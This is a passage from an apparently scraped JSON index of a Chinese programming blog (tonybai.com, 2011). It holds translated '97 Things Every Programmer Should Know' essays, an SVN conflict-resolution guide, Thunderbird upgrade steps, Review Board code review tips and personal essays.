Source\u0026quot;，来自于《程序员应该知道的97件事》一书中的某个章节。\n如果你在工作中没能开发那些可以实现你雄心壮志的软件，那你将有很不错的机会。也许你正在为一家庞大的保险公司开发软件，然而你实际上却宁愿供职于Google、Apple、Microsoft或是你自己初创的公司去开发下一个对世界影响巨大的软件。如果你去为你根本不关心的系统开发软件，那你永远也实现不了你心中的抱负。\n幸运的是，你的问题有一个答案：开源。那里有成千上万的开源项目。其中许多项目的开发都十分活跃，可以提供你想要的各种软件开发经验。如果你有了开发操作系统的想法，那就从十多个操作系统项目中选择一个加入吧。如果你想从事音乐软件、动画制作软件、加密技术、机器人技术、电脑游戏、大型网络在线游戏、移动电话或任何一类软件的开发，你肯定可以找到至少一个开源项目可以满足你的兴趣。\n当然，这世上没有免费的午餐。你必须愿意牺牲一些你个人的自由时间，因为你在日常工作中可能无法从事一个开源视频游戏的开发 – 你还要为你的雇主负责。此外，只有极少数人可以从对开源项目的贡献中获得收入 – 有些人得到了，不过大多数人没有。你应该放弃一些你的自由时间（少玩些视频游戏，少看些电视也没啥大不了的）。你在开源项目上的工作越努力，你就会越快地实现你作为程序员的抱负。考虑你的雇佣合同也同样重要 – 一些雇主可能会限制你可以贡献的内容，即使是在你自己的自由时间里。此外，当你的工作涉及到版权，专利，商标及贸易机密时，当心侵犯知识产权法。\n开源为那些激情十足的程序员们提供了巨大的机会。首先，你可以看到其他人是如何实现一个让你感兴趣的解决方案的 – 你可以通过阅读其他人的源代码学到很多东西。第二，你向这个项目贡献你的代码以及想法 – 不是所有你的好想法都将被接受的，不过其中的一些可能被接受。通过开发解决方案以及贡献代码你就可以学到一些新东西。第三，你会遇到那些对此类软件拥有和你同样热情的卓越的程序员 – 这些因开源项目合作而形成的友谊可能会持续一生。第四，假设你是一个称职的贡献者，你将在这门让你感兴趣的技术上积累许多实际经验。\n开始参加开源项目十分容易。有很多有关你需要的工具（例如：源码管理工具，编辑器，编程语言，构建系统等）的文档资料。找到第一个你要参与的项目，学习这个项目所使用的工具。多数情况下有关这些项目自身的文档很少，不过这也无关紧要，因为学习开源项目的最好的方法就是自己研究这些代码。如果你想加入，你应该帮忙编写文档。或者你可以自愿编写测试代码。虽然这听起来也许不那么让人兴奋，但事实是为其他人的程序编写测试代码比几乎任何其它方式都能更快速地了解这个软件。编写测试代码，优秀的测试代码。找Bug，提交修正建议，结交朋友，参加到那些你喜欢的软件开发工作中，实现你软件开发的雄心壮志。\nby Richard Monson-Haefel\n","permalink":"https://tonybai.com/2011/03/26/fulfill-your-ambitions-with-opensource/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Fulfill_Your_Ambitions_with_Open_Source\"\u003eFulfill Your Ambitions with Open Source\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e如果你在工作中没能开发那些可以实现你雄心壮志的软件，那你将有很不错的机会。也许你正在为一家庞大的保险公司开发软件，然而你实际上却宁愿供职于Google、Apple、Microsoft或是你自己初创的公司去开发下一个对世界影响巨大的软件。如果你去为你根本不关心的系统开发软件，那你永远也实现不了你心中的抱负。\u003c/p\u003e","title":"借开源实现你的雄心壮志"},{"content":"当今的软件开发更多是团队合作，团队的所有成员均工作在同一份代码库上。这样即便是有了先进的版本控制管理工具（诸如Subversion、Git等），出现冲突（Conflict）的情况也是在所难免的。这就需要你学会解决冲突。\n以Subversion为例，多数人在学习这类工具时都选择了浅尝辄止，仅仅停留在会使用update和commit这些常用的命令上。这样大家就错过了那些可以帮助你快速解决冲突的命令，以致很多人无论遇到任何冲突情况都采用了低效的全手工处理的方式。实际上不同的冲突情形处理的方式是有差别的。某些情况下，利用类似svn resolve这样的命令可以帮你快速解决冲突。我们应该有意识地采用一些专业的做法，不是吗？^_^\n这里简单回顾一下版本冲突的产生过程：\n- 版本库中存在一个代码源文件Foo.c，当前修订号：#BASE-REV；\n- 甲、乙二人同时Checkout出文件Foo.c的最新版本#BASE-REV；\n- 乙对其本地目录下的文件Foo.c进行了修改，并提交了代码，提交后文件Foo.c的修订号变为了#HEAD-REV；\n- 由于缺乏沟通或沟通有误，在不知乙已经作出修改的情况下，甲也对其本地的文件Foo.c进行了修改；\n- 当甲尝试将其本地目录下的Foo.c文件提交（commit)到代码库时，SVN给出错误提示：提交失败(细节如下): … …；或当甲尝试Update最新代码到其本地目录下时，发现SVN给出冲突提示：\u0026ldquo;C Foo.c\u0026quot;或在 “Foo.c” 中发现冲突…。\nSubversion 1.5版本之前不支持所谓的\u0026quot;交互式冲突解决(interactive conflict resolution)\u0026quot;，而1.5之后的版本则支持这种交互式的解决过程，即当冲突时，你会在控制台上看到的这样的提示：\n在 “Foo.c” 中发现冲突。\n选择: (p) 推迟，(df) 显示全部差异，(e) 编辑, (h) 使用帮助以得到更多选项:_\n如果你选择p，或者你用的是低于1.5版本的Subversion，你在执行svn update后会在你的本地目录下得到如下几个文件：\nFoo.c Foo.c.mine Foo.c.r#BASE-REV Foo.c.r#HEAD-REV\n分别解释一下这几个文件：\nFoo.c – 这个是由Subversion自动将版本库中的最新改动合并到你本地的一个包含了\u0026laquo;\u0026lt;\u0026raquo;\u0026gt;等标记的冲突文件；\nFoo.c.mine – 这个是甲在执行svn update前自己修改的那份Foo.c文件；\nFoo.c.r#BASE-REV – 这个文件的内容与修订号为#BASE-REV的Foo.c文件一致，也就是那份基（Base）文件；\nFoo.c.r#HEAD-REV – 这个文件是乙修改后并提交的Foo.c文件，也是目前代码库中的HEAD revision。\n那么甲如何来处理这个冲突呢？在不会使用svn resolve命令之前，甲很可能会这么做：打开Foo.c，逐个冲突进行解决。然后删除其余的三个Foo.c.xxx文件，最后提交代码。\n这么做无可厚非，不过不是所有情况下都需要这么做的。我们将冲突情况进行一下分类：\n1. 甲的代码完全包含了乙对Foo.c的修改，Foo.c.mine中的内容正是我们想要的;\n2. 乙的代码完全包含了甲对Foo.c的修改，Foo.c.r#HEAD-REV中的内容正式我们想要的；\n3. 甲、乙两人修改的代码确实存在不可融合之处，那么需要手工分析和解决Foo.c中的冲突。\n下面我们用svn resolve命令分别处理上面三种情况：\n针对情况1，甲可直接在自己的环境中执行svn resolve –accept mine-full Foo.c，执行后，冲突状态消失，甲可以从容地提交代码了；\n针对情况2，甲可直接在自己的环境中执行svn resolve –accept theirs-full Foo.c，执行后，冲突状态消失，甲也可以从容地提交代码；\n针对情况3，工具无法给予甲更有力的支持了，只能依靠甲自己去打开Foo.c并手工解决所有冲突了。待所有冲突解决后，执行svn resolve –accept working Foo.c或直接删除其它三个Foo.c.xxx文件，使冲突状态消失，Subversion这时将允许你提交你的代码。\n有两点需要注意的是：\n1. svn resolve命令只是在Subversion 1.5以及以后版本中才提供，在1.5版本前Subversion提供了一个resolved命令，不过这个命令似乎不是那么给力，基本上和你手工解决没啥差别，1.5以后这个resolved命令就被废弃了。\n2. 对于第三种情况，一旦你删除了其余三个Foo.c.xxx文件，那svn就会认为你的冲突状态已经不存在了，这时即使你的Foo.c中依旧包含\u0026laquo;\u0026lt;\u0026raquo;\u0026gt;等冲突标记也是可以提交成功的，这里要小心对待。\n另外对于情况3，如果甲并不想打开Foo.c手工解决冲突，而是想Undo自己的修改的话，那么甲可以通过执行svn resolve –accept base Foo.c或svn revert来将Foo.c恢复到#BASE-REV状态。接下来可以先update到乙的版本，然后再做出自己的修改。不过此前要做好代码的备份，否则一旦执行这些命令，甲之前所作的修改就会瞬间消失。\n","permalink":"https://tonybai.com/2011/03/23/also-talk-about-solving-the-svn-conflicts/","summary":"\u003cp\u003e当今的软件开发更多是团队合作，团队的所有成员均工作在同一份代码库上。这样即便是有了先进的\u003ca href=\"http://tonybai.com/2011/02/18/put-everything-under-version-control/\"\u003e版本控制\u003c/a\u003e管理工具（诸如\u003ca href=\"http://tonybai.com/2010/08/07/use-svn-pre-commit-hook/\"\u003eSubversion\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2011/01/20/try-git-svn/\"\u003eGit\u003c/a\u003e等），出现冲突（Conflict）的情况也是在所难免的。这就需要你学会解决冲突。\u003c/p\u003e\n\u003cp\u003e以Subversion为例，多数人在学习这类工具时都选择了浅尝辄止，仅仅停留在会使用update和commit这些常用的命令上。这样大家就错过了那些可以帮助你快速解决冲突的命令，以致很多人无论遇到任何冲突情况都采用了低效的全手工处理的方式。实际上不同的冲突情形处理的方式是有差别的。某些情况下，利用类似svn resolve这样的命令可以帮你快速解决冲突。我们应该有意识地采用一些专业的做法，不是吗？^_^\u003c/p\u003e","title":"也谈SVN冲突解决"},{"content":"本文翻译自”You Gotta Care about the Code“，来自于《程序员应该知道的97件事》一书中的某个章节。\n即使不用大侦探福尔摩斯，我们也能知道优秀的程序员能写出好代码。糟糕的程序员…则不能。他们生产出代码巨兽，而其他人则不得不去清理。你想写出好代码，对不对？你渴望成为一名优秀的程序员。\n好代码不会凭空冒出来。它也不是什么需要各大行星排成一列时靠运气才发生的事情。为了写出好代码，你必须在代码上下足功夫。这的确很难。并且如果你真正地关心好代码，你也只是得到这些好代码，仅此而已。\n优秀的编程能力不单纯来自于技术能力。我曾经看到过很多智力超群的程序员，他们可以实现出精细的且令人印象深刻的算法，他们对语言标准烂熟于心，但他们编写出的代码却是最糟糕的。这些代码难于阅读，难于使用，并且难于修改。我还曾见过一些谦卑的程序员，他们坚持编写简单精炼的代码，不过他们却可以写出风格优雅且极具表现力的代码，能在工作中使用这些代码不失为一件乐事。\n基于我在软件行业多年的经验，我得出这样的结论：那些可胜任工作的程序员与伟大程序员之间的真正差别在于态度。优秀的编程在于能在真实世界的约束以及软件行业的巨大压力下采用一些专业的方法，并且由衷地渴望编写出最好的软件。\n通往地狱的代码是用良好的意愿铺成的。要成为一名优秀的程序员，你必须克服良好意愿的影响，并且真实地去关心你的代码 –培养积极的观点，形成健康的态度。伟大的代码是由工匠大师们精心制作的，而不是由粗心程序员草率编写的或者由某些自称编程大师的人故弄玄虚地创建的。\n你想编写出好代码。你想成为一名优秀的程序员。因此，你就应该关心你的代码：\n·在任何编码的情况下，你都应该拒绝在那些只是看似能运行的代码上工作。你应该力求精心制作一份优雅且完全正确的代码（并有良好的测试用例可以证明你的代码是正确的）。\n·你编写的代码应该是可发现的（其它程序员可以很容易地学会和理解），可维护的（即你或者其它程序员在将来可以很容易的修改这些代码），以及正确的（你需要采取一切可能的措施确保你已经解决了这个问题，而不只是让程序看似是可以工作的）。\n·你和其它程序员一起工作。没有程序员是孤立的。很少有程序员独自工作；程序员团队所从事的大多数工作要么是在一个公司环境中，要么是一个开源项目。你要顾及其它程序员，并且构建其它人可以读懂的代码。你希望团队能编写出尽可能最好的软件，而不是使自己看起来很聪明。\n·任何时候你遇到一段代码，你都应该力求将它改造得比之前更好（要么结构更优，要么更易测试，要么更易理解）。\n·你关心代码和编程，所以你持续不断的学习新的语言，惯用法以及技术。不过你只能在适当的时候应用它们。\n幸运的是，你正在阅读这些建议，那是因为你确实关心你的代码。你感兴趣。这是你的激情。快乐地编程。享受制作代码解决棘手的问题的乐趣吧。生产出让你感到骄傲的软件！\nBy Pete Goodliffe\n","permalink":"https://tonybai.com/2011/03/22/you-gotta-care-about-the-code/","summary":"\u003cp\u003e本文翻译自”\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/You_Gotta_Care_about_the_Code\"\u003eYou Gotta Care about the Code\u003c/a\u003e“，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e即使不用大侦探福尔摩斯，我们也能知道优秀的程序员能写出好代码。糟糕的程序员…则不能。他们生产出代码巨兽，而其他人则不得不去清理。你想写出好代码，对不对？你渴望成为一名优秀的程序员。\u003c/p\u003e","title":"你应该关心你的代码"},{"content":"上周末和LP一起到一家烤肉店吃饭。这家店在本地算是一家很有名气的以经营韩式烤肉为主的饭店了。记得在LP怀孕前我们经常在周末光顾这家店。那时这家店生意甚是火爆，门庭若市。烤肉量足且好吃，环境整洁，服务员业务也是十分熟练。后来LP怀了果果，再加上果果出生后一直母乳喂养，我们也就好久没有去过这家店了。这次又和LP来到这家店，不过我们看到的却是另外一番景象：门庭若市换成了门可罗雀；服务员早已经换了一批，服务员的脸上早已用冷漠代替了以前的笑容，业务也不熟练，给我们点菜的那个男侍者居然对菜单上的菜品还不如我们熟悉；餐具也有些脏兮兮的，看着让人就没食欲；好不容易上菜后，居然还发现少一道菜，之前那个服务员居然忘记给我们记下了；另外菜量已大不如前了，虽然味道与之前差距不大。饭后，我和LP的一致想法就是下次再也不来这家店了。\n在回家的路上我一直在思考这样一个问题：为什么这家店的生意和服务会变成如此模样了呢？我得到的一个结论就是：不是顾客放弃了这家店，而是这家店自己先放弃了自己的标准。想象一下如果饭店依旧能按照之前的标准持续提供优质服务，甚至是比之前更好的服务，那么食客们能不来光顾吗？其实不仅是饭店，这个结论适用的范围很广，甚至可以应用到你的生活、学习和工作中。\n生活中你总是可以发现一些从优秀到平凡，从模范到普通，从闻名到堕落的例子，而这一切的发生的缘由：不是大家放弃了这些人，而是他/她自己先放弃了自己的标准。我所处的这个行业也是这样的。很多人说程序员是吃“青春饭”的，过了而立之后就会渐渐失去竞争力了。这个问题见仁见智。不过首先不可否认的事实是中国程序员的外部生存环境确实是不如欧美同行。不过我们还是应该从自身找些原因。想过而立之年后的你是如何学习和工作的吗？你是否还在坚持着你在“黄金时代”时养成的良好习惯以及工作和学习的标准呢？如果你没有，那是你先放弃了你自己，然后你才被大家所放弃的。当你放弃你的标准后，你的学习会放松下来，你的工作会变得随波逐流，你的生活会变得失去激情。久而久之，父母长辈和老师失去了对你的信心，你的领导和同事失去了对你的耐心，甚至你自己也会失去人生的方向标。当然在年龄增长后依旧保持标准是需要付出代价的，但不付出一些又哪里会有回报呢！\n俗话说：“由俭入奢易，由奢入俭难”。一旦你长时间放弃了你的标准，再想回到从前重拾标准就会变得十分困难。\n","permalink":"https://tonybai.com/2011/03/21/do-not-give-up-your-standard-first/","summary":"\u003cp\u003e上周末和LP一起到一家烤肉店吃饭。这家店在本地算是一家很有名气的以经营韩式烤肉为主的饭店了。记得在LP怀孕前我们经常在周末光顾这家店。那时这家店生意甚是火爆，门庭若市。烤肉量足且好吃，环境整洁，服务员业务也是十分熟练。后来LP怀了\u003ca href=\"http://tonybai.com/2010/09/23/one-hundred-days-photos-of-my-daughter/\"\u003e果果\u003c/a\u003e，再加上果果出生后一直母乳喂养，我们也就好久没有去过这家店了。这次又和LP来到这家店，不过我们看到的却是另外一番景象：门庭若市换成了门可罗雀；服务员早已经换了一批，服务员的脸上早已用冷漠代替了以前的笑容，业务也不熟练，给我们点菜的那个男侍者居然对菜单上的菜品还不如我们熟悉；餐具也有些脏兮兮的，看着让人就没食欲；好不容易上菜后，居然还发现少一道菜，之前那个服务员居然忘记给我们记下了；另外菜量已大不如前了，虽然味道与之前差距不大。饭后，我和LP的一致想法就是下次再也不来这家店了。\u003c/p\u003e","title":"别放弃你的标准"},{"content":"自从换装Ubuntu后，就一直使用Thunderbird。很是喜欢Thunderbird超快的搜索速度、按主题组织和展示Mail以及易用的快捷键。不过这两天Thunderbird一直在给我制造麻烦。通过Top查看，我发现我的Thunderbird一直在持续占用20%-30%的CPU，这导致我的本子变得很慢。虽然能看到这个进程，但是并不清楚Thunderbird究竟在做什么。开始怀疑它在后台压缩文件夹，我遂显式对每个mail较多的文件夹进行了一次压缩。压缩后Thunderbird似乎安静了一会儿，不过好景不长，不久那个进程又开始运转起来了。我怀疑这是个Bug，于是有了升级Thunderbird的想法。\n翻看了一下Thunderbird的菜单，发现它似乎不支持在线升级更新。我使用的版本是3.0.6，官方最新稳定版本为3.1.9。下载最新安装包后菜发现这个包不过就是一个压缩的文件夹，文件夹里有Thunderbird可执行程序和一切它依赖的资源文件。这样看来Thunderbird的升级实际上就是一个“替换”的过程。\n“which thunderbird”的结果告诉我/usr/bin下的Thunderbird不过是一个符号链接，Thunderbird真正的安装目录在/usr/lib/thunderbird-3.0.6下面。这样就好办了，以下是升级替换步骤：\n1. 将3.1.9安装包解压到/usr/lib下，改名为/usr/lib/thunderbird-3.1.9\n2. 修改/usr/lib/thunderbird-3.1.9/thunderbird文件，将mod_libdir的值改为/usr/lib/thunderbird-3.1.9\n3. 删除/usr/bin/thunderbird符号链接\n4. 在/usr/bin下重新创建到新安装位置的符号链接：ln -s /usr/lib/thunderbird-3.1.9/thunderbird thunderbird\n启动新thunderbird，一切ok。不过过了一会，cpu又上去了。看来这不是一个bug，Thunderbird确实是在后台在做着某些定期任务。还好今天Thunderbird启动后没有占用高CPU，也许是那个定时任务执行完毕了^_^。\n","permalink":"https://tonybai.com/2011/03/21/upgrade-thunderbird/","summary":"\u003cp\u003e自从\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003e换装Ubuntu\u003c/a\u003e后，就一直使用\u003ca href=\"http://tonybai.com/2009/11/20/cross-platform-configuration-of-thunderbird/\"\u003eThunderbird\u003c/a\u003e。很是喜欢Thunderbird超快的搜索速度、按主题组织和展示Mail以及易用的快捷键。不过这两天Thunderbird一直在给我制造麻烦。通过Top查看，我发现我的Thunderbird一直在持续占用20%-30%的CPU，这导致我的本子变得很慢。虽然能看到这个进程，但是并不清楚Thunderbird究竟在做什么。开始怀疑它在后台压缩文件夹，我遂显式对每个mail较多的文件夹进行了一次压缩。压缩后Thunderbird似乎安静了一会儿，不过好景不长，不久那个进程又开始运转起来了。我怀疑这是个Bug，于是有了升级Thunderbird的想法。\u003c/p\u003e\n\u003cp\u003e翻看了一下Thunderbird的菜单，发现它似乎不支持在线升级更新。我使用的版本是3.0.6，官方最新稳定版本为3.1.9。下载最新安装包后菜发现这个包不过就是一个压缩的文件夹，文件夹里有Thunderbird可执行程序和一切它依赖的资源文件。这样看来Thunderbird的升级实际上就是一个“替换”的过程。\u003c/p\u003e","title":"升级Thunderbird"},{"content":"本文翻译自\u0026quot;Improve Code by Removing It\u0026quot;，来自于《程序员应该知道的97件事》一书中的某个章节。\n少即是多。这是一句有些陈腐的短小格言，但有时它确实是正确的。\n在过去的几周里我对代码库所作的改善工作之一就是删除了其中的几大块代码。\n我们编写软件时一直遵循着XP的（译注：极限编程，eXtreme Programming）原则，包括YAGNI（即You Aren\u0026rsquo;t Gonna Need It，你不再需要它了）。不过人类的天性就是这样，我们不可避免地在一些地方无法达到这些要求。\n我观察到，某些产品在执行一些任务时耗时太长，这些任务原本是可以立刻执行完毕的。这是因为它们被过分实现（overimplemented）了；附加了许多其实并不需要的特性，但在当时看来这似乎是一个不错的想法。\n因此，我简化了代码，提高了产品的性能，删除了代码库中那些引发问题的特性，降低了全局代码熵（global code entropy，译注：一般指软件中代码的混乱程度）的级别。我的单元测试结果告诉我这些操作没有对产品造成任何破坏。\n一个简单且非常令人满意的体验。\n为什么起初这些不必要的代码留在了代码库中？为什么程序员感觉到需要编写这些额外的代码呢？还有这些代码是如何通过评审或结对过程的？几乎可以肯定是这样：\n·额外的代码会带来一些乐趣，程序员渴望编写这些代码。（提示：写代码，是因为它增加了软件的价值，而不是因为它可以取悦你。）\n·有人认为：这些代码可能是将来需要的，所以觉得最好现在就编写这些代码。（提示：这不符合YAGNI原则。如果你现在不需要它，那么现在不要编写它。）\n·这些\u0026quot;额外\u0026quot;的功能看起来似乎都不大，所以与将它们返回给客户确认是否真正需要相比，直接实现它们更为容易。（提示：通常实现和维护一些额外的功能耗费时间更长，而客户实际上则非常容易接近与沟通。一小片额外功能的代码就像一个小雪球，随着时间的推移将变成一大块需要维护的工作。）\n·程序员发明的额外需求，既没有写入文档，也没有经过正式的讨论。这些需求实际上是伪造的。（提示：程序员不应设定系统需求；那是客户的职责。）\n你现在在做哪些事？这些事是否都是客户需要的？\nBy Pete Goodliffe\n","permalink":"https://tonybai.com/2011/03/17/improve-code-by-removing-it/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Improve_Code_by_Removing_It\"\u003eImprove Code by Removing It\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e少即是多。这是一句有些陈腐的短小格言，但有时它确实是正确的。\u003c/p\u003e\n\u003cp\u003e在过去的几周里我对代码库所作的改善工作之一就是删除了其中的几大块代码。\u003c/p\u003e","title":"通过精减来改善代码"},{"content":"本文翻译自”Know How to Use Command-line Tool“，来自于《程序员应该知道的97件事》一书中的某个章节。\n现今，很多软件开发工具被打包成集成开发环境（Integrated Development Environments，IDE）提供给开发者。微软的Visual Studio和开源的Eclipse就是两个颇受欢迎的IDE，当然还有很多其他类似的工具。很多程序员喜欢使用IDE，这不仅是因为IDE容易使用，而且IDE还可以让程序员无需过多考虑一些过程中的微小细节，特别是构建过程。\n不过，易用也有其负面因素。通常，一个工具容易使用，是因为这个工具在幕后替你作出了决定并自动地做了很多事情。因此，如果你只用IDE作为唯一的开发环境，你可能永远无法知道你的工具实际上究竟做了哪些事情。你点击一个按钮，一些奇妙的事情发生了，一个可执行文件就会出现在你的工程目录下。\n使用命令行构建工具，你会了解到更多有关这些工具在工程构建过程中的行为细节。编写你自己的Makefile文件可以帮助你理解构建一个可执行文件过程中的每一步（编译，汇编，链接等）。用这些工具的命令行参数做些试验也是一个有价值的学习体验。最初开始使用命令行构建工具时，你可以使用一些开源的命令行工具，比如GCC。或者你也可以使用IDE自带的命令行工具。毕竟，一个设计精美的IDE只是一组命令行工具的图形前端而已。\n与IDE相比，命令行工具除了可以帮助你增进对构建过程的理解之外，还能更容易更高效地完成某些任务。例如，grep和sed两个实用程序提供的查找和替换能力往往比IDE中提供的工具更为强大。命令行工具原生地支持脚本，支持自动化运行一些任务，诸如按预定时间制作日构建版本，为一个工程制作多个版本以及运行测试用例。在IDE中，这类自动化工作做起来可能非常困难（如果不是不可能的话），因为构建参数通常是通过图形界面的对话框设置的，并且构建过程是通过鼠标点击启动的。如果你一直没有脱离过IDE的襁褓，那你可能都无法意识到这类自动化的任务是可行的。\n不过请等一下。难道IDE的使用没有使开发工作更简单，没有提高程序员的生产力吗？噢，不是这样的。这里提出的建议不是让你停止使用IDE。而是建议你“应该深入到幕后“，弄明白你的IDE到底为你做了哪些事情。而这么做的最好的方式就是学习使用命令行工具。接下来，当你回过头来使用IDE时，你就会更透彻地理解IDE为你做了哪些事情，并且知道如何控制构建过程了。另一方面，一旦你掌握了命令行工具的用法，体验到了这些工具提供强大功能和灵活性后，你也许会发现：与IDE比起来，你更喜欢命令行工具。\nBy Carroll Robinson\n","permalink":"https://tonybai.com/2011/03/16/know-how-to-use-command-line-tool/","summary":"\u003cp\u003e本文翻译自”\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Know_How_to_Use_Command-line_Tools\"\u003eKnow How to Use Command-line Tool\u003c/a\u003e“，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Know_How_to_Use_Command-line_Tools\"\u003e章节\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e现今，很多软件开发工具被打包成集成开发环境（Integrated Development Environments，IDE）提供给开发者。微软的Visual Studio和开源的Eclipse就是两个颇受欢迎的IDE，当然还有很多其他类似的工具。很多程序员喜欢使用IDE，这不仅是因为IDE容易使用，而且IDE还可以让程序员无需过多考虑一些过程中的微小细节，特别是构建过程。\u003c/p\u003e","title":"知道如何使用命令行工具"},{"content":"这两天我们的邻国日本正上映着一部\u0026quot;现实版灾难片\u0026quot;–一场8.8级的大地震。这次地震让日本成为了全世界瞩目的焦点。我想很多国人看到这一幕时心里肯定很纠结，当然纠结的原因无非是两国之间的那个几乎永远无法弥合的宿怨。我是一个\u0026quot;灾难片控\u0026quot;，口碑好的灾难片几乎一个都没有放过，口碑烂的片子有空时也会好奇的去品味一下到底有多烂。而这部现实版的\u0026quot;灾难片\u0026quot;自然不会放过，所以今天我几乎是一直守在电视前，通过新闻台的直播了解着日本那边最新的情况。下面转贴这部片子中的两个镜头：\n海啸汹涌而至\n看过《后天》，看过《2012》，看过《日本沉没》，虽然图片中海啸的浪头高度远不及电影中的那些，但这毕竟这是现实版的，反而让我觉得更加震撼。\n海啸后的惨状\n相信即便是国人，看了这幅照片后也会由衷的心生酸楚。没错，人类在大自然的淫威下显得是那么的脆弱，可我们又能怎么办呢？\n不过反过来我们是不是该扪心自问一下：我们又对大自然做了些什么呢？\n","permalink":"https://tonybai.com/2011/03/12/the-earthquake-happened-in-japan/","summary":"\u003cp\u003e这两天我们的邻国日本正上映着一部\u0026quot;现实版灾难片\u0026quot;–一场8.8级的大地震。这次地震让日本成为了全世界瞩目的焦点。我想很多国人看到这一幕时心里肯定很纠结，当然纠结的原因无非是两国之间的那个几乎永远无法弥合的宿怨。我是一个\u0026quot;灾难片控\u0026quot;，口碑好的灾难片几乎一个都没有放过，口碑烂的片子有空时也会好奇的去品味一下到底有多烂。而这部现实版的\u0026quot;灾难片\u0026quot;自然不会放过，所以今天我几乎是一直守在电视前，通过新闻台的直播了解着日本那边最新的情况。下面转贴这部片子中的两个镜头：\u003c/p\u003e","title":"现实版灾难片-日本大地震"},{"content":"近期产品线研发体系正式将Review Board这款优秀的基于Web的代码评审开源工具引入到开发过程中，作为产品线内各项目组进行代码评审的辅助工具。我对Review Board近两年多的关注总算没有白费，算是有了一个还算不错的结果。不过Review Board的正式使用并不代表一种结束，反而恰恰是一个新的开始。我们下一步要关注的是如何用好Review Board，让它真真正正地为改善产品质量和开发效率出力。\n在“关于在线代码评审的几点考量”这篇博文中我提到了在线代码评审工具在开发过程中所处的角色、使用时机以及使用时的注意事项，不过当时也多是凭直觉有感而发。真正用了Review Board这样的评审工具后，有些想法还要进一步细化。\n的确，我们在近一个多月的使用过程中发现了许多问题，在公司内部我把这些问题以及解决方法整理成了一页Wiki Page放到了产品线的知识库中，这里我也和大家分享一下。\n下面是我整理的关于如何用好Review Board的一个Tips列表：\n* 务必保持每个Review Request内容的内聚性\n如果你提交一个Review Request，其中包含了对A库的bugfix，给B库增加一个新feature，以及对C库重构的一段代码，那你的这个Review Request就是不合格的。该Request内容上包含了三个不相干的内容，严重缺乏内聚，这会给后续评审带来不良影响，诸如评审者关注点分散，效率下降；评审者不愿理睬这种Request等等。对于上述的问题Request，建议拆分为三个Request，让每个Request内容单一内聚。\n* 请为你的Review Request设定评审结束时间\n切记为每个Review Request设定一个有效评审时间范围，否则你的评审将被视为永远有效，这样的Request久而久之就会变成\u0026quot;塑料制品垃圾\u0026quot;塞满你的Dashboard。由于Review Board上似乎没有设定评审截止时间的位置，所以一般可在Description中增加该Request对应的评审结束时间，例如加上：\n\u0026ldquo;评审截止时间：2011-03-07 12:00\u0026rdquo;\n* 保持你的Dashboard Clean，别忘了关闭你的Review Request\n使用Review Board一段时间后，你就会发现你的Dashboard中有很多Incoming和Outgoing的 Requests，让人心生不悦。建议大家在Request评审完毕或过期后关闭你发起的Request，保持Dashboard的clean。\n在每个Request里有一个close标签，下面有三个选项：\n- summited 表示评审结束，代码已经提交，不须继续评审\n- discarded 丢弃的评审请求\n- delete permanently 应该删除的请求\n一般我们会用到summited。\n* 请为评审请求选择适当的干系人列表\n每个评审请求都应该有特定的干系人列表，不要泛泛的发给Review Board系统中设定的所有Group。否则你既不会收到那些不相干人的有效的评审，还干扰了对方的工作。\n一般来说发起代码评审请求前先要明确此次评审的目的，无非以下几种或它们的组合：\n- 希望相关干系人找出代码中的代码逻辑缺陷；\n- 希望相关干系人找出代码中的业务逻辑缺陷；\n- 分享你的代码，将你的代码中的美展现给大家。\n明确了目的之后，想必你就应该清楚干系人列表中究竟该有谁了。\n* 请评审者聚焦本次Request中的变动\n在Review Board实际使用过程中，常常发现这样的情况：某位同事发起一段针对遗留代码修改的评审请求。很多评审者给出的一些评审意见针对的却并非是本次修改的代码，而是此次变更源码文件中的其他代码。这样可能会导致下面两个问题：\n- 提交Request的评审人很可能无法修正非本Request之外的代码问题；\n- 评审过程可能因此被拉长，很可能无法在截止时间内完成此次评审，甚至可能反复多次，造成效率上的浪费。\n针对这种情况，我们建议评审者聚焦本次改动。如果评审过程中发现其他非本次改动相关的问题，可通过向代码所在的项目的Todolist或某种问题跟踪系统提交一个issue/ticket，后续由该项目的主维护者统一安排处理。\n最后说说post-review这个工具的使用。Review Board的原理其实就是评审diff文件。一般情况下大家通过Review Board提供的web页面提交自己手动生成的diff文件，这种方法无可厚非。不过Review Board官方还推荐使用另外一种更有效率的方法，那就是使用post-review脚本发起Review Request。以下内容描述了工作中常见的三种使用post-review工具的情形，前提是你已经将post-review安装到你的主机上了。\n* 在代码Commit前发起评审请求\n有些时候，项目要求代码未经评审不允许commit到Code Repository中，这种情况我们称之为pre-commit review。这种情况下可以这样来发起一个Review Request，先在你的本地代码库拷贝中完成对代码的修改，然后进入到你的本地代码目录，执行：\npost-review –server=http://xxx.xxx.xxx.xxx/reviews\npost-review就会将当前目录以及其子目录下所有变更作为一个diff提交到Review Board形成一个Request Draft等待你的发布。当然你也可以通过post-review直接设定Request的Descripton等字段，并可通过增加–publish参数立刻发布该Request。\n* 代码commit后发起评审请求\n有些时候，某些代码是在提交到Code Repository后才评审的，这种情况我们称之为post-commit review。我们可通过版本库的revision number间的差异来构造Review Request，具体方法如下：\npost-review –server=http://xxx.xxx.xxx.xxx/reviews –revision-range=n:m 